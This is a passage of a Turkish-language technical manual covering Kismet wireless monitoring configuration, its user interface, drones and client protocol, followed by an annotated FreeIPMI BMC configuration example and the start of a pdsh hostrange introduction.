varsayılan olarak kapatılmıştır.<br />
enablesound=true|false Ses açıp kapama<br />
soundbin=... Ses için programın yolu ve seçenekleri<br />
sound=xxx,true|false Ses tetikleyicisi xxx açma<br />
enablespeech=true|false<br />
Konuşma açık kapalı<br />
speechbin=...<br />
Metni konuşmaya çeviren program
speechtype=raw|festival<br />
Eğer Festival (ama flite değil) kullanılıyorsa tip “festival” olarak<br />
atanmalıdır. Diğer tüm araçlar “raw” (ham) olmalıdır.<br />
Speechencoding=...<br />
NATO, Konuşmanın hecelenmesi, Konuşulması, Çözümlenmesi<br />
alanları için açıklık, heceleme ağları SSID'leri (NATO gibi),<br />
seslendirilen harfler ya da normal olarak konuşma burada<br />
tanımlanır.<br />
speech=xxx,"format"<br />
Konuşulanları dizisi ve kalıbı bu seçenekte tanımlanır. Kismet<br />
kullanıcı arayüzü bölümü daha çok bilgi için konuşma dizilerinin<br />
kalıbı ve bilgisini içerir.<br />
OUI dosyası (Bir cihazın üreticisini bulmak için Kismet tarafından kullanılır)<br />
aynı kalıbı kullandıkları sürece başka araçlarla da paylaşılabilir (Wireshark<br />
gibi). Varsayılan olarak Kismet aşağıdaki yolları arar:<br />
/etc/manuf<br />
/usr/share/wireshark/wireshark/manuf<br />
/usr/share/wireshark/manuf<br />
Başka yollar “ouifile=” seçeneği ile eklenebilir.<br />
14. Kismet Kullanıcı Arayüzü<br />
Varsayılan Kismet arayüzü metin tabanlı ncurses kitaplığını kullanır. Kismet<br />
web sayfasından (http://www.kismetwireless.net/links.shtml) ek kullanıcı<br />
arayüzleri bulunabilir.<br />
Kismet kullanıcı arayüzü herhangi bir curses uygulaması gibidir. Menü “Esc”,<br />
“`” ya da “~” tuşlarıyla etkinleştirilir. Bilgi alanları arasındaki geçiş “tab”<br />
tuşuyla sağlanır.<br />
Fare kullanımı Kismet kullanıcı arayüzündeki gibi sağlanır. Ama sayfaların<br />
hepsi tümüyle fare işlemlerini desteklemez. Kullanıcı arayüzünde tuş takımı<br />
olmadan çalışma kabul edilebilir bir durumdur.<br />
Ana Kismet penceresi ağları adlarını içerir. GPS bilgisi, o anki sunucu<br />
istatistikleri ve paket kaynak durumu ve durum paneli (hataların ve<br />
duyuruların yazıldığı) vardır. Ana menüdeki parçalar “View” (göster) menü<br />
seçeneği ile kullanılabilir.<br />
Özellikler (Preference)<br />
Kismet kullanıcı arayüzü ayarları tümüyle kullanıcı arayüzü içinden<br />
“Kismet->Preferences->...” menü seçeneğinden yapılır. Özelliklerdeki<br />
değişiklikler hemen uygulanır ve yeniden başlatmak gerekmez.
Varsayılan olarak Kismet kullanıcı arayüzü başlangıçta Kismet<br />
sunucusunu başlatmak için sorgu girişi hazırlar. Bu davranış (sunucu<br />
başlatma ve bağlantı kurma gibi) Başlama (Startup) ve Bitiş<br />
(Shutdown) özelliklerinden değiştirilebilir.<br />
Kismet sunucusunu başlatma penceresini otomatik açma<br />
Kismet sunucu başlatma penceresini kullanıcı arayüzü<br />
yüklendiğinde açar (eğer sunucu çalışmıyorsa).<br />
Başlangıçta sunucu başlatmayı sorma:<br />
Sunucu başlatmayı sor (sunucu penceresi açmak yerine)<br />
Kismet sunucu konsolunu varsayılan olarak göster:<br />
Sunucuyu başlattıktan sonra otomatik olarak Kismet sunucu<br />
konsolu penceresini aç:<br />
Kismet sunucusunu iş bitiminde (exit) kapat (shutdown):<br />
Otomatik başlatılan sunucuları öldür (kill) komutu verilir ve<br />
uzaktaki sunuculara da kapanma (shutdown) mesajı gönderilir.<br />
Kismet sunucusunu kapatmadan önce sorgu gönderme<br />
Onay almadan sunucuları öldürme.<br />
Kismet menüleri kısaltmaları destekler. Örneğin “~WI” “Windows-<br />
>Client List” menü seçeneği ile aynı anlama gelir.<br />
Ses ve Konuşma<br />
Kismet kullanıcı arayüzü birçok kullanıcı için ses ve konuşmayı ele alır.<br />
Ses çok sıradan bir işlemdir ( /usr/local/share/kismet/wav altındaki<br />
WAV dosyalardan oynatılır).<br />
Konuşma Festival ve Flite ile desteklenir. Diğer metinden konuşmaya<br />
türü programlar da çalışabilir (açık ve düz metin bilgisini standart<br />
girişten alıyorlarsa). Konuşma metinleri konuşma olayının türüne göre<br />
kodlanabilir (örneğin %1, %2 vb Kismet tarafından verilerle<br />
değiştirilir). Desteklenen olaylar ve değişiklikler:<br />
Yeni Ağ:<br />
Ağ SSID konuşma kodlama ayarlarına göre düzenlenir<br />
Ağ kanalı<br />
Ağ BSSID<br />
Uyarı:<br />
Uyarı tipi<br />
GPS Kayıp, GPS Kilit<br />
Değiştirme seçenekleri yok
Ağları İşaretlemek<br />
Kismet ağ için özelleştirilmiş verileri işaretler biçiminde ekler.<br />
Kistem'te kullanıcı arayüzü, ağlar ve istemciler kendilerine işaret<br />
eklenmiş olarak saklanabilirler. Bu işaretler kullanıcı arayüzünün ağ<br />
ayrıntılarında bulunur ve hem metin hem de XML dosyalarına yazılır.<br />
İşaretler değişmez ve sürekli tanımlanabilir. Ağ ve istemcilerde<br />
“Unutma” kutusu işaretlenince, Kismet yeniden başlatıldığında bu<br />
değerler kaybolmadan kullanılır.<br />
İstemci işareti belirtilen bir ağda belirli bir istemciye verilen addır. Şu<br />
anda istemcinin her anına eklenebilecek bir mekanizma yoktur.<br />
Sıralama (sırting)<br />
Kismet'in “autofit” konumu varsayılan ayardır. Ekrana aktif ağlardan<br />
koyabildiği kadar çoğunu sığdırmak ister. “autofit” konusu çok<br />
değişken olduğundan, bu konumda ağları seçmenin bir anlamı olmaz.<br />
Bir ağ seçmek ve ayrıntıları göstermek için önce “Sort” menüsündeki<br />
başka bir yöntemle ağlar sıralanır, daha sonra ağ seçilir.<br />
15. Kismet drones (yan ürünleri)<br />
Kismet yan ürünleri, Kismet'i dağıtılmış IDS sistemine dönüştürür. Drones<br />
Kismet'in desteklediği tüm yakalama yöntemlerini destekler. Bunlara Drone<br />
için çoklu yakalama cihazları da dahildir. Drone kablosuz ağ verilerini yakalar<br />
ve Kismet suncu üzerinden ikincil bir bağlantıya yönlendirir (örneğin kablolu<br />
ethernet ağı). Drone paketlerin çözülmesiyle uğraşmaz ve enküçük donanım<br />
ortamına göre çalışır.<br />
Bir Kismet sunucusu drone'lara bağlanır ve bir kullanıcı arayüzü olan Kismet<br />
görüntüler, paket yazma ve uyarı oluşturma buradan yapılır. Uzaktaki Kismet<br />
üzerindeki yakalama kaynakları, Kismet sunucusuna yönlendirilir ve<br />
bağımsız bir yakalama cihazı gibi görünüp kanal sekmelerine, kilitlemelerine<br />
göre ayarlanır.<br />
Tun/tap dışa çıkartma işlevini kullanarak Kismet sunucusu tüm bağlı<br />
drone'lardan gelen paketleri sanal ağ arayüzüne çıkarabilir. Böylece<br />
dışarıdaki bir IDS/paket yakalama sistemi (Snort gibi) bunları kullanabilir.
Drone'ları kullanabilmek için önce uzaktaki sistemde kismet_drone başlatılır<br />
(kismet_drone.conf değiştirilerek ayarlar kullanıma uygun hale getirilir.<br />
Örneğin hangi <strong>bilgisayar</strong>ların bağlanacağı bilgisi gibi). Ya da kimet<br />
sunucusundaki drone olanaklarının (kismetserver.conf dosyasındaki)<br />
açılmasıyla sağlanır. kismet_server drone olarak çalıştığında, yerel log<br />
yazma her zamanki gibi davranır ve kismet istemcileri sunucuya aynı normal<br />
biçimiyle bağlanır. kismet_drone çalıştırılırken istemciler doğrudan<br />
bağlanamaz ve log yazılmaz. Bunların olması için Kismet sunucusu, sunucu<br />
olarak başlatılmış olmalıdır. Böylece paket kodlama ve açma yanında<br />
Kismet kullanıcı arayüzü bağlantıları oluşur.<br />
16. Kismet'le konuşma<br />
Kismet'in istemci/sunucu protokolü temel metindir. Kismet'le iletişim telnet y<br />
ada netcat gibi temel programlarla bile sağlanır. Ama ciddi uygulamalar için<br />
tüm protokol olanaklarını kullanan bir arayüz olmasında yarar vardır.<br />
Bu belge Kismet protokolünü ve iletişimin temel ilkelerini anlatır. Daha geniş<br />
ve ayrıntılı bilgi için kaynak koda başvurulmalıdır. Daha geniş bir belge<br />
ileride sağlanabilir.<br />
Kismet protokolü komutlar ve yanıt cümlelerinden oluşur. Bir komut:<br />
!ID COMMAND OPT1 OPT2 OPT3<br />
biçimindedir. Burada ID bir sayıdır (doğru bir hata denetimi için tekil<br />
olmalıdır) kalanlar ise komut ve onun alabileceği parametre değerleridir.<br />
Seçeneklerin içinde boşluklar varsa ve seçenek tek bir parametre değeri<br />
olarak belirtiliyorsa bunları “\001....\001” arasında belirtmek gerekir.<br />
Ve yanıtlar daa aşağıdaki kalıba göre hazırlanır:<br />
*HEADER f1 f2 f3 f4<br />
Burada HEADER cümle tipidir ve kalanlar ise istenen bilgi alanlarıdır. Yanıt<br />
istenilen sırada verilir.<br />
Bilgi alanları ACII düz metindir. İstemci bu değerin terminal açısından<br />
yazılabilir olduğunu bilmesinde yarar vardır.<br />
İçinde boşluklar olan alanların \001...\001 işaretleri arasında göndrilmesi bu<br />
alanın içinde boşluklarla değerledirilmesi gerektiğini belirtir. Bunlar herhangi<br />
alanda olabileceklerinden protokol tarayıcı programlar bu tür metinleri<br />
algılayabilmelidir.
Temel Kismet koutları şunlardır:<br />
!{#} SHUTDOWN<br />
Kismet programını durdur.<br />
!{#} CAPABILITY {cümle}<br />
Protokol için alanları sorgulamadır. Sonuç *CAPABILITY cümle<br />
biçiminde döner.<br />
!{#} ENABLE {cümle} {alanlar}|{*}<br />
Bir cümleyi aç, ya alanları istenilen sırada dizerek ya da * ile<br />
varsayılan sırada tüm alanları isteyerek bu açılım yapılır.<br />
!{#} REMOVE {cümle}<br />
Bir cümleyi kaldır. Ya da onu göndermeyi durdur.<br />
!{#} ADDNETTAG {BSSID} {Sabit} {İşaret adı} {işaret içeriği}<br />
Ağa rastgele bir işaret daha ekle. Eğer sabitse,<br />
~(kismet/tags.conf altında saklanır.<br />
!{#} DELNETTAG {BSSID} {İşaret adı}<br />
Bir işareti sil.<br />
!{#} ADDCLITAG {BSSID} {MAC} {Sabit} {işaret} {içerik}<br />
Ağdaki belirtilen istemciye işaret ekle.<br />
!{#} DELCLITAG {BSSID} {MAC} {işaret}<br />
İşareti sil<br />
!{#} ADDSOURCE {kaynak satırı}<br />
Kaynağı dinamik olarak ekle. Kaynak satırı “ncurses=” satırı ile<br />
aynı olmalıdır.<br />
Protokol Cümleleri:<br />
Bir cümle kullanıma açıldığında var olan cümle verisi hemen gönderilir.<br />
(protokol göstergeleriyle). Ek veriler deltalar biçiminde gönderilir.<br />
İşlem zamanı ve bant aralığı dikkate alınır. Yalnız değişen veriler<br />
gönderilir. Örneğin *BSSID cümlesi gönderildiğinde bir blok *BSSID<br />
verisi gönderilir. Bunlar daha önce Kismet tarafından saptanan ağ<br />
bilgileridir. Bu cümle durduruluncaya dek gönderme yapılır. Her saniye<br />
bir kayıt gönderilir. Ağlardaki her değişiklikte değişen bilgi gönderilir.
Zorunlu cümleler:<br />
Kismet istemcinin en az aşağıdaki protokolü kabul edebilmesini ister.<br />
En azından istemci yanıt veremiyorsa, bunların tümünü unutmalıdır.<br />
Komutlar REMOVE komutuyla kapatılabilir. Genelde istemci anlamadığı<br />
her komutu kapatmalıdır.<br />
*KISMET<br />
Temel Kismet başlama bilgisi.<br />
*PROTOCOLS<br />
Desteklenen cümlelerin listesi.<br />
*ACK<br />
Komut yanıtı.<br />
*ERROR<br />
Komut hatası olduğunda...<br />
*TIME<br />
Sunucunun zaman damgası.<br />
Örnekler:<br />
echo -e '\n!0 enable channel channel,networks' | nc localhost 2501<br />
*CHANNEL cümlesi “channel” ve “networks” adlı alanlar ile açılır.<br />
Sonuç aşağıdaki gibidir:<br />
*ACK: 0 OK<br />
*CHANNEL: 1 4<br />
*CHANNEL: 3 1<br />
*CHANNEL: 4 1<br />
*TIME: 1245176426
Ek-4<br />
bnc config<br />
(http://www.gnu.org/software/freeipmi/bmcconfig-example.conf)<br />
#<br />
# Bölüm UserX Açıklamalar<br />
#<br />
# Aşağıdaki kullanıcı bölümlerinde, kullanıcılar kullanıcı adlarını, şifrelerini<br />
# ve yerel ağ üzerinden IPMI erişim yetkilerini yapılandırırlar. Kullanıcı adları<br />
# User1 dışında herhangi bir karakter dizisi olabilir. Çünkü User1 IPMI'da<br />
# anonymous kullanıcı adı olarak belirlenmiştir.<br />
#<br />
# Yerel ağ üzerinden IPMI erişimi için “Enable_User” değerini “Yes” yapın.<br />
# “Lan_Enable_IPMI_Msgs” değerini “Yes” ve “Lan_Privilege_Limit” değerini yetkili<br />
# düzeyine çıkartın. Yetki düzeyi IPMI bazı işlemlerinde kullanıcı adlarına göre<br />
# sınırlamalar getirmekte kullanılır. Ama en az yetkili düzeyinde en az bir<br />
# kullanıcı sınırları “Administrator” olmalıdır. O zaman yerel ağ üzerinden tüm<br />
# IPMI işlemleri bu kullanıcıya açılmış olur. Güvenlik nedeniyle User1 (anonymous<br />
# kullanıcı) açılmamalıdır. Bir çok kullanıcı için “Lan_Session_Limit” sıfır<br />
# olmalıdır. Böylece aynı anda yerel ağ üzerinden bir çok oturum açılabilir.<br />
# Eğer sisteminiz IPMI 2.0 destekliyorsa ve Serial-over-LAN (SOL) varsa,<br />
# “SOL_Payload_Access” alanını kullanıcı erişimlerinin SOL kullanımını açmak ya da<br />
# kapamak için “Yes” ya da “No” yapın.<br />
#<br />
# Denemeler sırasında açılmış olabilecek olan “Password” alanını açıklama yapmayı<br />
# unutmayın.<br />
#<br />
# Bazı ana kartlarda “Username” alanının okunan/yazılan diğer alanlardan önce<br />
# tanımlanması gerekebilir. Eğer durum böyleyse bu alanlar username-not-set-yet><br />
# (kullanıcı adı henüz atanmamış) diye tanımlanır.<br />
#<br />
Section User1<br />
## Kullanıcı adı tanımla<br />
## Username NULL<br />
## Olası Değerler: Yes/No ya da seçmemek için boşluk<br />
Enable_User<br />
No<br />
## Ya şifre girin ya da silmek için boşluk girin.<br />
## En çok 16 karakter (IPMI 2.0 Destekleniyorsa 20 karakter).<br />
## Password<br />
## Olası Değerler: Yes/No<br />
Lan_Enable_IPMI_Msgs<br />
No<br />
## Olası Değerler: Yes/No<br />
Lan_Enable_Link_Auth<br />
No<br />
## Olası Değerler: Yes/No<br />
Lan_Enable_Restricted_to_Callback<br />
No<br />
## Olası Değerler:<br />
Callback/User/Operator/Administrator/OEM_Proprietary/No_Access<br />
Lan_Privilege_Limit<br />
No_Access
## Olası Değerler: 0-17, 0 (sıfır limitsiz);<br />
## Belirtilmezse sıfır atanır<br />
## Lan_Session_Limit (yerel ağ oturum sınırı)<br />
## Olası Değerler: Yes/No<br />
SOL_Payload_Access<br />
No<br />
EndSection<br />
Section User2<br />
## Kullanıcı adı girin<br />
Username<br />
user<br />
## Olası Değerler: Yes/No ya da seçmemek için boşluk<br />
Enable_User<br />
Yes<br />
## Ya şifre girin ya da silmek için boşluk girin.<br />
## Password<br />
## Olası Değerler: Yes/No<br />
Lan_Enable_IPMI_Msgs<br />
Yes<br />
## Olası Değerler: Yes/No<br />
Lan_Enable_Link_Auth<br />
No<br />
## Olası Değerler: Yes/No<br />
Lan_Enable_Restricted_to_Callback<br />
No<br />
## Olası Değerler:<br />
Callback/User/Operator/Administrator/OEM_Proprietary/No_Access<br />
Lan_Privilege_Limit<br />
User<br />
## Olası Değerler: 0-17, 0 is (sıfır limitsiz);<br />
## Belirtilmezse sıfır atanır<br />
## Lan_Session_Limit<br />
## Olası Değerler: Yes/No<br />
SOL_Payload_Access<br />
No<br />
EndSection<br />
Section User3<br />
## Kullanıcı adı girin<br />
Username<br />
operator<br />
## Olası Değerler: Yes/No ya da seçmemek için boşluk<br />
Enable_User<br />
Yes<br />
## Ya şifre girin ya da silmek için boşluk girin.<br />
## Password<br />
## Olası Değerler: Yes/No<br />
Lan_Enable_IPMI_Msgs<br />
Yes<br />
## Olası Değerler: Yes/No<br />
Lan_Enable_Link_Auth<br />
No<br />
## Olası Değerler: Yes/No<br />
Lan_Enable_Restricted_to_Callback<br />
No<br />
## Olası Değerler:<br />
Callback/User/Operator/Administrator/OEM_Proprietary/No_Access<br />
Lan_Privilege_Limit<br />
Operator<br />
## Olası Değerler: 0-17, 0 (sıfır limitsiz);<br />
## Belirtilmezse sıfır atanır<br />
## Lan_Session_Limit<br />
## Olası Değerler: Yes/No<br />
SOL_Payload_Access<br />
No<br />
EndSection<br />
Section User4<br />
## Kullanıcı adı girin<br />
Username<br />
admin<br />
## Olası Değerler: Yes/No ya da seçmemek için boşluk<br />
Enable_User<br />
Yes<br />
## Ya şifre girin ya da silmek için boşluk girin.<br />
## Password<br />
## Olası Değerler: Yes/No
Lan_Enable_IPMI_Msgs Yes<br />
## Olası Değerler: Yes/No<br />
Lan_Enable_Link_Auth<br />
No<br />
## Olası Değerler: Yes/No<br />
Lan_Enable_Restricted_to_Callback<br />
No<br />
## Olası Değerler:<br />
Callback/User/Operator/Administrator/OEM_Proprietary/No_Access<br />
Lan_Privilege_Limit<br />
Administrator<br />
## Olası Değerler: 0-17, 0 (sıfır limitsiz);<br />
## Belirtilmezse sıfır atanır<br />
## Lan_Session_Limit<br />
## Olası Değerler: Yes/No<br />
SOL_Payload_Access<br />
No<br />
EndSection<br />
#<br />
# Lan_Channel (Yerel ağ kanalı) Bölümü Açıklamaları<br />
#<br />
# Yerel ağ kanalı bölümünde, genelde yerel ağ üzerinden IPMI açılır ya da<br />
# kapatılır.<br />
# Yukarıdaki uçucu yapılandırmalar BMC üzerine hemen güncellenir ve sistem<br />
# üzerinde anlık etki gösterir.<br />
# Kalıcı (Non_Volatile) yapılandırmalar bir sonraki sistem açılışında devreye<br />
# girer. Bu nedenle genel olarak hem uçucu hem de kalıcı ayarlar eşit olmalıdır.<br />
#<br />
# Yerel ağ üzerinden IPMI açmak için “Access Mode” (erişim konumu) “Alway<br />
# Available” (her zaman var) olarak değer almalıdır.<br />
# "Channel_Privilege_Limit" değeri kendisinin tanımlandığı kullanıcı için en<br />
# yüksek yetki seviyesine çıkarılmalıdır. Tipik olarak bu kullanıcı<br />
# “Administrator” olur.<br />
#<br />
# Ek güvenlik için "User_Level_Auth" ve "Per_Message_Auth" tipik olarak "Yes"<br />
# değerini alır.<br />
#<br />
Section Lan_Channel<br />
## Olası Değerler: Disabled/Pre_Boot_Only/Always_Available/Shared<br />
Volatile_Access_Mode<br />
Always_Available<br />
## Olası Değerler: Yes/No<br />
Volatile_Enable_User_Level_Auth<br />
Yes<br />
## Olası Değerler: Yes/No<br />
Volatile_Enable_Per_Message_Auth<br />
Yes<br />
## Olası Değerler: Yes/No<br />
Volatile_Enable_Pef_Alerting<br />
No<br />
## Olası Değerler: Callback/User/Operator/Administrator/OEM_Proprietary<br />
Volatile_Channel_Privilege_Limit<br />
Administrator<br />
## Olası Değerler: Disabled/Pre_Boot_Only/Always_Available/Shared<br />
Non_Volatile_Access_Mode<br />
Always_Available<br />
## Olası Değerler: Yes/No<br />
Non_Volatile_Enable_User_Level_Auth<br />
Yes<br />
## Olası Değerler: Yes/No<br />
Non_Volatile_Enable_Per_Message_Auth<br />
Yes<br />
## Olası Değerler: Yes/No<br />
Non_Volatile_Enable_Pef_Alerting<br />
No<br />
## Olası Değerler: Callback/User/Operator/Administrator/OEM_Proprietary<br />
Non_Volatile_Channel_Privilege_Limit<br />
Administrator<br />
EndSection<br />
#<br />
# Lan_Conf Bölümü Açıklamaları<br />
#
# Lan_Conf bölümünde, tipik ağ yapılandırması kurulur. Bir çok kullanıcı için IP<br />
# adres kaynağı “statik” (değişmez) olarak belirlenir. "IP_Address_Source"<br />
# alanında bu <strong>bilgisayar</strong> için “IP Address” (IP adresi), “MAC_Address” (MAC<br />
# adresi), “Subnet_Mask” (Ağ alt maskesi) vb. Uygun bir değer atanır.<br />
#<br />
Section Lan_Conf<br />
## Olası Değerler: Unspecified/Static/Use_DHCP/Use_BIOS/Use_Others<br />
IP_Address_Source<br />
Static<br />
## Geçerli IP adres girin<br />
IP_Address 192.168.1.1<br />
## Geçerli MAC adres girin<br />
MAC_Address<br />
00:30:52:AC:18:22<br />
## Geçerli Alt ağ Maskesi girin<br />
Subnet_Mask 255.255.255.0<br />
## Geçerli IP adres girin<br />
Default_Gateway_IP_Address 132.19.2.1<br />
## Geçerli MAC adres girin<br />
Default_Gateway_MAC_Address<br />
00:30:52:AC:1C:23<br />
## Geçerli IP adres girin<br />
Backup_Gateway_IP_Address 132.19.2.2<br />
## Geçerli MAC adres girin<br />
Backup_Gateway_MAC_Address<br />
00:30:52:AC:23:24<br />
EndSection<br />
#<br />
# Lan_Conf_Auth Bölüm Açıklamaları<br />
#<br />
# Lan_Conf_Auth bölümünde, IPMI 1.5 için izin verilen şifreleme denetimi<br />
# yapılandırılır. Bir çok kullanıcı “MD5” şifre denetimine “Yes” demek ister.<br />
# Kalanlarına da “No” derler. Eğer NULL kullanıcı adı ve NULL şifre<br />
# tanımlamışsanız, bazı “None” alanlarına da “Yes” demek istersiniz. Böylece<br />
# “None” şifre denetimi çalışabilir. Bazı ana kartlar sizlerin OEM şifre denetimi<br />
# yapmanıza izin vermez. O zaman tüm OEM ile ilgili alanlara “No” demeniz gerekir.<br />
#<br />
Section Lan_Conf_Auth<br />
## Olası Değerler: Yes/No<br />
Callback_Enable_Auth_Type_None<br />
No<br />
## Olası Değerler: Yes/No<br />
Callback_Enable_Auth_Type_MD2<br />
No<br />
## Olası Değerler: Yes/No<br />
Callback_Enable_Auth_Type_MD5<br />
No<br />
## Olası Değerler: Yes/No<br />
Callback_Enable_Auth_Type_Straight_Password No<br />
## Olası Değerler: Yes/No<br />
User_Enable_Auth_Type_None<br />
No<br />
## Olası Değerler: Yes/No<br />
User_Enable_Auth_Type_MD2<br />
Yes<br />
## Olası Değerler: Yes/No<br />
User_Enable_Auth_Type_MD5<br />
Yes<br />
## Olası Değerler: Yes/No<br />
User_Enable_Auth_Type_Straight_Password No<br />
## Olası Değerler: Yes/No<br />
Operator_Enable_Auth_Type_None<br />
No<br />
## Olası Değerler: Yes/No<br />
Operator_Enable_Auth_Type_MD2<br />
Yes<br />
## Olası Değerler: Yes/No<br />
Operator_Enable_Auth_Type_MD5<br />
Yes<br />
## Olası Değerler: Yes/No<br />
Operator_Enable_Auth_Type_Straight_Password No
## Olası Değerler: Yes/No<br />
Admin_Enable_Auth_Type_None<br />
No<br />
## Olası Değerler: Yes/No<br />
Admin_Enable_Auth_Type_MD2<br />
Yes<br />
## Olası Değerler: Yes/No<br />
Admin_Enable_Auth_Type_MD5<br />
Yes<br />
## Olası Değerler: Yes/No<br />
Admin_Enable_Auth_Type_Straight_Password No<br />
## Olası Değerler: Yes/No<br />
OEM_Enable_Auth_Type_None<br />
No<br />
## Olası Değerler: Yes/No<br />
OEM_Enable_Auth_Type_MD2<br />
Yes<br />
## Olası Değerler: Yes/No<br />
OEM_Enable_Auth_Type_MD5<br />
Yes<br />
## Olası Değerler: Yes/No<br />
OEM_Enable_Auth_Type_Straight_Password No<br />
EndSection<br />
#<br />
# Lan_Conf_Security_Keys bölümü açıklamaları<br />
#<br />
# Eğer sisteminiz IPMI 2.0 destekliyorsa ve yerel ağ üzerinden seri bağlantı (SOL)<br />
# varsa, K_g BMC anahtarı ayarı gerekebilir. K_g anahtarı seçimlik olup<br />
# IPMI 2.0'da iki anahtar şifre denetimi için ayarlanabilir. Seçimlik<br />
# ayarlanabilir ama pek çok kullanıcı bunu sıfır ya da boşluk olarak kullanır.<br />
#<br />
Section Lan_Conf_Security_Keys<br />
## Bir dizi gir ya da silmek için boşluk gir<br />
## En çok 20 karakter olabilir, onaltılı giriş için önünde 0x olmalıdır.<br />
## K_G<br />
EndSection<br />
#<br />
# Lan_Conf_Misc Bölümü Açıklaması<br />
#<br />
# Aşağıdaki diğer yapılandırma seçenekleri üretici tarafından seçimlik<br />
# uyarlanmıştır. Sizin sisteminizde hiç olmayabilir ya da aşağıdaki gibi görünmez.<br />
#<br />
# Eğer değeri "Yes" ise, "Enable_Gratuitous_ARPs" sürekli karşılıksız ARP<br />
# gönderecek biçimde BMC'yi uyarır. Böylece ağ içindeki diğer <strong>bilgisayar</strong>lar da<br />
# kendi BMC'lerindeki MAC adreslerini düznlerler. Bir çok kullanıcı bunun değerini<br />
# “Yes” yapmak ister. Çünkü BMC IP adres çözümü için en ucuz yoldur. Ama sizin<br />
# ağınızdaki trafiği arttırır. "Gratuitous_ARP_Interval" karşılıksız gönderilen<br />
# ARP için süreyi tanımlar.<br />
#<br />
# Eğer değeri "Yes" ise, "Enable_ARP_Response" diğer <strong>bilgisayar</strong>lardan gelen ARP<br />
# isteğine yanıt için BMC'yi uyarır.<br />
#<br />
Section Lan_Conf_Misc<br />
## Olası Değerler: Yes/No<br />
Enable_Gratuitous_ARPs<br />
No<br />
## Olası Değerler: Yes/No<br />
Enable_ARP_Response<br />
Yes<br />
## Olası Değerler: 0-255, 500ms arttırımlarla (yani 2 = 1000ms)<br />
Gratuitous_ARP_Interval 3<br />
EndSection<br />
#<br />
# Rmcpplus_Conf_Privilege Bölümü Açıklamaları<br />
#<br />
# Sisteminiz IPMI 2.0 destekliyorsa ve Ağ üzerinden Ser bağlantı (SOL) varsa,
# “cipher suite ID” değerleri aşağıdaki gibi olabilir:<br />
# Rmcpplus_Conf_Privilege bölümünde, IPMI 2.0 altında desteklenen en yüksek<br />
# kullanıcı yetki düzeyi desteklenen “chiper suite ID” çeşitleri için aşağıda<br />
# gösterilmiştir.<br />
# Her chiper suite ID değişik şifre denetleme, bütünlük ve kriptolama<br />
# algoritmaları kümelerini destekler. EN yüksek yetki düzeyi olan kullanıcı<br />
# “chiper suiteID” destekler olmalıdır. Bu da tipik olarak “Administrator” olur.<br />
#<br />
Section Rmcpplus_Conf_Privilege<br />
## Olası Değerler: Unused/User/Operator/Administrator/OEM_Proprietary<br />
Maximum_Privilege_Cipher_Suite_Id_0<br />
Unused<br />
## Olası Değerler: Unused/User/Operator/Administrator/OEM_Proprietary<br />
Maximum_Privilege_Cipher_Suite_Id_1<br />
Unused<br />
## Olası Değerler: Unused/User/Operator/Administrator/OEM_Proprietary<br />
Maximum_Privilege_Cipher_Suite_Id_2<br />
Unused<br />
## Olası Değerler: Unused/User/Operator/Administrator/OEM_Proprietary<br />
Maximum_Privilege_Cipher_Suite_Id_3<br />
Administrator<br />
## Olası Değerler: Unused/User/Operator/Administrator/OEM_Proprietary<br />
Maximum_Privilege_Cipher_Suite_Id_6<br />
Unused<br />
## Olası Değerler: Unused/User/Operator/Administrator/OEM_Proprietary<br />
Maximum_Privilege_Cipher_Suite_Id_7<br />
Unused<br />
## Olası Değerler: Unused/User/Operator/Administrator/OEM_Proprietary<br />
Maximum_Privilege_Cipher_Suite_Id_8<br />
Administrator<br />
## Olası Değerler: Unused/User/Operator/Administrator/OEM_Proprietary<br />
Maximum_Privilege_Cipher_Suite_Id_11<br />
Unused<br />
## Olası Değerler: Unused/User/Operator/Administrator/OEM_Proprietary<br />
Maximum_Privilege_Cipher_Suite_Id_12<br />
Administrator<br />
EndSection<br />
#<br />
# SOL_Conf Bölümü Açıklamaları<br />
#<br />
# Sisteminiz IPMI 2.0 destekliyorsa ve yerel ağ üzerinden seri iletişimi varsa<br />
(SOL), Aşağıdaki yapılandırma seçenekleri SOL ayarlarını belirtir.<br />
#<br />
# SOL'u açmak isteyen bir çok kullanıcı için en az "Enable_SOL" değeri “Yes”<br />
# olmalıdır ve "SOL_Privilege_Level" değeri en yüksek yetki düzeyinde olmalıdır.<br />
# Tanımlanan herhangi bir kulalnıcı (tipik olatak burada “Administrator”) güvenlik<br />
# nedeniyle "Force_SOL_Payload_Authentication" ve "Force_SOL_Payload_Encryption"<br />
# değerlerini "Yes" yapmalıdır. Ama zorunlu şifre denetimi ve kriptolama “chiper<br />
# suite ID” desteklendiğinde "Non_Volatile_Bit_Rate" ve "Volatile_Bit_Rate" uygun<br />
# “baud” hızına ayarlanmalıdır. Bu BIOS ya da işletim sistminde tanımlanmış olan<br />
# hızla aynı olur.<br />
#<br />
Section SOL_Conf<br />
## Olası Değerler: Yes/No<br />
Enable_SOL<br />
Yes<br />
## Olası Değerler: Callback/User/Operator/Administrator/OEM_Proprietary<br />
SOL_Privilege_Level<br />
Administrator<br />
## Olası Değerler: Yes/No<br />
Force_SOL_Payload_Authentication<br />
Yes<br />
## Olası Değerler: Yes/No<br />
Force_SOL_Payload_Encryption<br />
Yes<br />
## Give a non-zero valid integer. Each unit is 5ms<br />
Character_Accumulate_Interval 5<br />
## Give a valid number<br />
Character_Send_Threshold 50<br />
## Give a valid integer
SOL_Retry_Count 5<br />
## Give a valid integer. Interval unit is 10ms<br />
SOL_Retry_Interval 10<br />
## Olası Değerler: Serial/9600/19200/38400/57600/115200<br />
Non_Volatile_Bit_Rate 115200<br />
## Olası Değerler: Serial/9600/19200/38400/57600/115200<br />
Volatile_Bit_Rate 115200<br />
## Give a valid port number<br />
## SOL_Payload_Port_Number 623<br />
EndSection
Ek-5<br />
IPMI<br />
HPC çevresinde Sunucu Aralığı Giriş/Çıkışlarını<br />
(Hostrange Input/Output) Kullanma<br />
Albert Chu<br />
chu11@llnl.gov<br />
Pdsh'e Giriş.<br />
FreeIPMI'da birçok Sunucu aralığı (hostrange) giriş/çıkışları pdsh<br />
araçları içinde modellenmiştir (Bakınız http://pdsh.sourceforge.net).<br />
Pdsh paralel kabut hazır programı olup bir karşıdaki bir kümede<br />
rastgele bir komut çalıştırmaktır. Algoritma olarak pdsh kayan<br />
pencereler biçimindeki thread'ler yaratır. Her biri uzakta çalışan<br />
“rcmd” özellikli bir kabuk oluşturur (rcmd ya da ssh gibi). Bir thread<br />
bittiğinde başka sunucularda çalışacak biçimde hemen yenisi yaratılır.<br />
Bu işlem tüm sunucular bitinceye dek sürer.<br />
